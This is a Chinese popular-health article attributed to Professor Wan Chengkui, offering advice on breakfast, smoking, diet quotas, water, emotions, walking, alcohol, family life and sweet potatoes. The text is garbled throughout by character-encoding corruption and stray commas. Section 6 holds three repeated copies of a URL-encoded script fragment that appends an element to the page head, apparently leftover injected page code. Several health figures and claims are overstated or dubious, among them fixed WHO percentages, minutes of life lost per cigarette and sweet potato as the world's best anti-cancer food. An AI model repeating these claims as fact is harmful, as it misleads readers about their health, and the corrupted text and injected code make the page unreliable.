健康生活，從現(xiàn)在開(kāi)始

       近日,，中國(guó)首席健康專(zhuān)家,，74歲的萬(wàn)承奎教授做客央視《人物周刊》，向全國(guó)電視觀眾講述了他的健康,、長(zhǎng)壽,、幸福"秘方"。

１．在健康問(wèn)題上,，你自己比老天爺管用 ,萬(wàn)承奎教授說(shuō),，世界衛(wèi)生組織規(guī)定，個(gè)人的健康和壽命15%決定于遺傳,，10%決定于社會(huì)因素,，8%決定于醫(yī)療條件，7%決定于氣候影響,，60%決定于自己,。在這個(gè)問(wèn)題上，你自己比老天爺管用,。
        你知道嗎,？吃飯一定要是：早上吃好，中午吃飽,，晚上吃少?，F(xiàn)在的人相反了，早上馬虎,，中午對(duì)付,，晚上大吃大喝，這就是百病之根,。早上這頓飯,，等于吃補(bǔ)藥，是最重要的一頓飯,，一定要吃營(yíng)養(yǎng)早餐,。
          營(yíng)養(yǎng)早餐必須具備四樣?xùn)|西：牛奶、豆?jié){,、雞蛋或者肉,，主食必須要有蔬菜加水果,。假如只有兩種以下的營(yíng)養(yǎng)早餐，就屬于低質(zhì)量早餐?，F(xiàn)在我們中國(guó)人20%不吃早餐,，50%—60%不會(huì)吃早餐，早餐營(yíng)養(yǎng)不好,，中午,、晚上是補(bǔ)不回來(lái)的。

２．全世界最不好的習(xí)慣是抽煙
        全世界最不好的五種習(xí)慣里面,，第一號(hào)不好的習(xí)慣就是抽煙,。一生吸煙的人，要少活20年到25年,，吸一次煙,，少活11分鐘。我為什么比較年輕,，比較健康,，我一輩子沒(méi)抽過(guò)煙。誰(shuí)在我面前抽煙,，對(duì)不起,，請(qǐng)你到外頭抽，你可以自殺,，你不能殺人,。大清早一起床就抽煙，尤其危害大,。抽煙的人,，氣管炎，肺氣腫,，肺心病,，最后肺癌，這是死亡三部曲,。

３．營(yíng)養(yǎng)過(guò)剩一樣中毒
        營(yíng)養(yǎng)過(guò)剩了一樣中毒,。你記住，一天吃東西有規(guī)定的：一,、二,、三、四,、五,、六。每天一盤(pán)蔬菜,，必須要八兩到一斤,；每天兩個(gè)水果；每天三勺清油,，不要超過(guò)25克,；每天四兩米飯或四個(gè)饅頭；每天五種優(yōu)質(zhì)高蛋白,，肉,、蛋、奶,、魚(yú),、豆，但有量規(guī)定,，一兩肉,，一個(gè)雞蛋，牛奶半斤到一斤,，豆腐一塊或者一碗豆?jié){,、豆腐腦，肉,、蛋,、奶、魚(yú)30克不要超過(guò)一兩,，六杯水或者六克鹽?，F(xiàn)在講八杯水，每天一定要喝八杯水,。因?yàn)樗褪侨说纳,，F(xiàn)在很多人不會(huì)喝水，渴了才喝,。錯(cuò)了,，一定有空就喝，不是渴了再喝,。八杯茶行嗎,？茶不行，八杯咖啡呢,？飲料,、咖啡、啤酒都不能代替水,。要喝茶也喝淡茶,，不能喝濃茶。千萬(wàn)記住,，水是人的生命.                                                                           

４．人不是老死的,，不是病死的,，是氣死的 人哪能不生氣？人是感情動(dòng)物,，喜怒憂(yōu)思悲恐驚,。高興就要笑，不高興就要哭,，生起氣來(lái)還要罵兩句呢,，這是人感情豐富的表現(xiàn)。假如人只有一種感情,，這個(gè)人就不健康,。
       一個(gè)人感情很豐富，該怎么樣就怎么樣,，但是你千萬(wàn)記?。旱谝粋€(gè)不要過(guò)度，第二個(gè)過(guò)度了但是不要長(zhǎng)時(shí)間,，很快就調(diào)整過(guò)來(lái),，這才是健康的。
        《黃帝內(nèi)經(jīng)》早就講得很清楚：“怒傷肝,，喜傷心,，憂(yōu)傷肺，思傷脾,，恐傷腎,，百病皆生于氣?！敝v得很絕,。很多人說(shuō)老實(shí)話(huà)，不是老死的,，不是病死的,，是氣死的。當(dāng)不了官,，氣死了,；提不了教授，氣死了,；賺不了錢(qián),，氣死了；很多老年人為很小的事,，氣死了,，我這里有很多例子。
         所以我說(shuō)人“不能不生氣,，但一定要會(huì)生氣,；一定不要當(dāng)情緒的俘虜,，一定要做情緒的主人；一定要去駕馭情緒,，不要讓情緒駕馭你,。”

５．走路是非常好的鍛煉方式
        什么東西都是個(gè)度,，吃飯是個(gè)度，睡覺(jué)是個(gè)度,，鍛煉也是個(gè)度,。不鍛煉不好，過(guò)度鍛煉也會(huì)降低免疫功能,。每天鍛煉半個(gè)小時(shí)到一個(gè)小時(shí),，鍛煉內(nèi)容可以采取最簡(jiǎn)單的辦法，走半個(gè)小時(shí),，光走路就行了,，這是最簡(jiǎn)單、最經(jīng)濟(jì),、最有效的辦法,。但是走也是有講究的，年輕人要快走,，逐步快走,，快到什么程度，一分鐘要達(dá)到130步,，心跳要達(dá)到一分鐘120次,，才能達(dá)到鍛煉心臟的目的。達(dá)到130步,、120次心跳,，當(dāng)然不是一下子就能完成，要有個(gè)逐步適應(yīng)過(guò)程,，你這樣堅(jiān)持半年,，你的心肺功能可以大大提高，提高30%到50%,。 一個(gè)人一定要從年輕開(kāi)始,，保持你的標(biāo)準(zhǔn)體重。像我30年就這種體形,，軍人體形,。一旦胖了以后，你想把它降下來(lái)談何容易,，實(shí)際上不是不容易,，關(guān)鍵在哪兒,？控制嘴、多動(dòng)腿,，人就是“死在嘴上,，懶在腿上”。

６．喝醉一次白酒,，等于得一次急性肝炎
         世界提出六種最不健康的生活方式：第一是吸煙,，第二是酗酒，過(guò)量飲酒,。少量喝還有好處,，比如每天喝白酒一兩，喝葡萄酒尤其紅葡萄酒二兩,，啤酒半斤到一斤,。過(guò)多了以后傷害身體，傷肝,，傷腦,，傷心，傷各個(gè)臟器,。
cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">喝醉一次白酒，等于得一次急性肝炎,。大家記住,，喝酒不僅傷肝，為什么喝酒多的人,，記憶力不行,，認(rèn)知能力下降？因?yàn)榇竽X細(xì)胞大量死亡,。一天一兩白酒,，這叫安全量。                                                                                                    

 ７．家庭不和睦,，人就會(huì)生病 有專(zhuān)家認(rèn)為,，人的疾病70%來(lái)自家庭，人們的癌癥50%來(lái)自家庭,，你說(shuō)家庭重要不重要,？這說(shuō)明家庭的重要。在家里千萬(wàn)不要“小吵天天有,，大吵三六九”,，也不要成為一個(gè)死水家庭，不吵架,，不說(shuō)話(huà),，半個(gè)月都不說(shuō)話(huà)，那不得憋死啊,。
         我還曾經(jīng)看到過(guò)一個(gè)報(bào)導(dǎo)，說(shuō)是離婚人士,、喪偶人士壽命偏短,，這個(gè)有科學(xué)依據(jù)。孤獨(dú)比貧窮更可怕,，夫妻恩愛(ài)的長(zhǎng)壽,，夫妻健在的長(zhǎng)壽，孤獨(dú)的就容易出問(wèn)題,，容易短壽,，這是普遍規(guī)律。但怎么樣把家庭搞和睦了,，這是一門(mén)學(xué)問(wèn)必須解決四個(gè)問(wèn)題：第一,，要尊敬老人；第二要教育好子女,；第三要處理好婆媳關(guān)系,；第四，這條尤其重要,，夫妻要恩愛(ài),，這是核心。
        夫妻怎么恩愛(ài),？要做到八互原則,。互敬,、互愛(ài),、互信、互幫、互慰,、互勉,、互讓、互諒,。人都有個(gè)性,，都有毛病，要經(jīng)常提醒自己：算了,，讓著她(他）吧,，她（他）只要高興就行了。/所以我再說(shuō)一下,，對(duì)自己的愛(ài)人千萬(wàn)記住,，不僅年輕時(shí)愛(ài)她（他），老了更要愛(ài)她（他）,；不僅健康時(shí)愛(ài)她（他）,，有病更要愛(ài)她（他）；不僅愛(ài)他（她）的優(yōu)點(diǎn),，也要愛(ài)他（她）的缺點(diǎn),。

８．用腦子吃飯保健康
         每天健康生活，要做到七個(gè)方面,；第一,，一定要吃好3頓飯；第二,，一定要睡好8個(gè)小時(shí)覺(jué),；第三，每天堅(jiān)持運(yùn)動(dòng)半個(gè)小時(shí),；第四,，每天要笑30分鐘，身心健康,；第五,，很特殊的，每天一定要會(huì)大便,。人們只管這一頭,，不管那一頭，它都是自然的,，拉不出來(lái)你硬拉也不行,；第六，一定要跟愛(ài)人搞好關(guān)系,，每天給愛(ài)人說(shuō)3句他（她）喜歡聽(tīng)的話(huà),。老婆關(guān)系搞不好，你啥事也弄不成。當(dāng)然了,，女人也要跟老公搞好關(guān)系,；第七，不吸煙,，不酗酒,，每天齊步走。
健康要從每一天開(kāi)始,，每天健康,，就一生健康。一定要記住我那幾句話(huà)：“能吃能喝不健康,，會(huì)吃會(huì)喝才健康,，胡吃胡喝要遭殃?！薄坝枚亲映燥埱鬁仫?，用嘴巴吃飯講享受，用腦子吃飯保健康,?！币龅剑骸盎实鄣脑绮停蟪嫉闹胁?，叫花子的晚餐?！?nbsp;                                                                                                                                                           

９．紅薯是世界上最好的食品 請(qǐng)大家記住一個(gè)原則,，吃植物性的東西，一定要占70%—80%,，動(dòng)物性的東西只能占20%—30%,。
        我們現(xiàn)在相反了，所以很多病都來(lái)了,，肥胖也來(lái)了,，糖尿病也來(lái)了，痛風(fēng)也來(lái)了,。不能不吃蔬菜,，不吃水果，現(xiàn)在尤其是孩子不吃蔬菜,，很多人沒(méi)有吃水果的習(xí)慣,，大家記住，一天兩到四種水果,，三到五種蔬菜,，綜合抗癌，保護(hù)心臟，這是21世紀(jì)營(yíng)養(yǎng)新戰(zhàn)略,。! 紅薯（地瓜）是世界上最好的食品,，日本曾經(jīng)是得癌癥最多的國(guó)家，為了把癌癥減少,，日本人想了很多辦法,，沒(méi)有效果，最后慢慢找到了,，他們把所有蔬菜做了篩選,，選出20種抗癌蔬菜，熟紅薯,、生紅薯是第一號(hào),、第二號(hào)抗癌蔬菜、抗癌的,、保護(hù)心臟的,、軟化血管的、通便的,，都離不開(kāi)這兩樣,。
珍惜生命！從現(xiàn)在開(kāi)始養(yǎng)成良好的習(xí)慣吧,！
        

 健康是1,，其他的一切都是零，只有擁有的健康1,，再擁有了其他的諸如好的工作,、事業(yè)、生活等等這些0,，就會(huì)變成100,、1000、10000了,！
只要擁有了健康這個(gè)1,，其他你擁有的越多的那些0，你就會(huì)越是美滿(mǎn)幸福了,！雨過(guò)風(fēng)輕真誠(chéng)的祝福朋友們心想事成,！